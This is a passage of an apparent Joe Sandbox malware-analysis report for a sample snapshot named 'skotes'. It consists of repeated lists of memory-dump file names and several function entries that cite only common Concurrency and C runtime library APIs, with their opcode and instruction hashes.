Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 45eaaa9486de05b207248df07a818a16de7632843ac3a897c9c824b6b37a89d9
Instruction ID: 6a016d573a0a6591dd514e95bc6808df871b22c93e7bef99b102611fd79bd18b
Opcode Fuzzy Hash: 45eaaa9486de05b207248df07a818a16de7632843ac3a897c9c824b6b37a89d9
Instruction Fuzzy Hash: 6F51D272600206AFEB21AF64DC91FBB3BE9DF84750F2505ADFD05A7151EBB0DE1086A0

Function 00BAE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00BAE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00BAE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BAE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00BAE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00BAE9DC

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: ff9de66d8cc43e6b86b139b2a9043d97d1abf4778bd23751400774ebbc5bc145
Instruction ID: 98c148bc1c75cb43b64ad9974fb6deb7f59fc75039bb5881793f3593072b0b44
Opcode Fuzzy Hash: ff9de66d8cc43e6b86b139b2a9043d97d1abf4778bd23751400774ebbc5bc145
Instruction Fuzzy Hash: CC415E75A05219AFCB09EF68C454A6DB7F5FF49310F048199E516A7390DB34AE01CB80

Function 00BAD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00BAD344
ListArray.LIBCONCRT ref: 00BAD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00BAD370
ListArray.LIBCONCRT ref: 00BAD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00BAD3B3

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: c9e42a658a3cfa4a0601a90e4315d38d9f0a502ed31f1eb630a292a39416e811
Instruction ID: 1cbfde408907cba30b7cd44972f1429dfe4cc0d81b0fed68f1c0a1ff26af6652
Opcode Fuzzy Hash: c9e42a658a3cfa4a0601a90e4315d38d9f0a502ed31f1eb630a292a39416e811
Instruction Fuzzy Hash: DA31BE79708210AFCB05EF54C884BADB7E6EF8A300F0441D9E8069B392DB70ED41CB96

Function 00BA86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00BA86EE

Part of subcall function 00B9EAD0: _SpinWait.LIBCONCRT ref: 00B9EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00BA8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00BA8734
List.LIBCMT ref: 00BA87B7
List.LIBCMT ref: 00BA87C6

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: ec12fc16609afa9701f835992c6809c1f8f5c61a137e9d536363a3f8065491cb
Instruction ID: 6fa47c9636fd2687d0da77aec0013a140cf7daf6583c44f10594ae2112980e3e
Opcode Fuzzy Hash: ec12fc16609afa9701f835992c6809c1f8f5c61a137e9d536363a3f8065491cb
Instruction Fuzzy Hash: AA314832909656DFCF14EFA4C5816EDB7F1BF06318F2400EAD4116BA52DB31AD04CBA5

Function 00BB182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BB18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00BB18EB

Strings

pContext, xrefs: 00BB189C

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: e6820383366d10246b2910ffb1d7ae5e863580ca0e787550c8fea779e38f122e
Instruction ID: 49bb2372644714bff2a5b569eb05c050f46a4fb5246d6c9d44b9b9818399005e
Opcode Fuzzy Hash: e6820383366d10246b2910ffb1d7ae5e863580ca0e787550c8fea779e38f122e
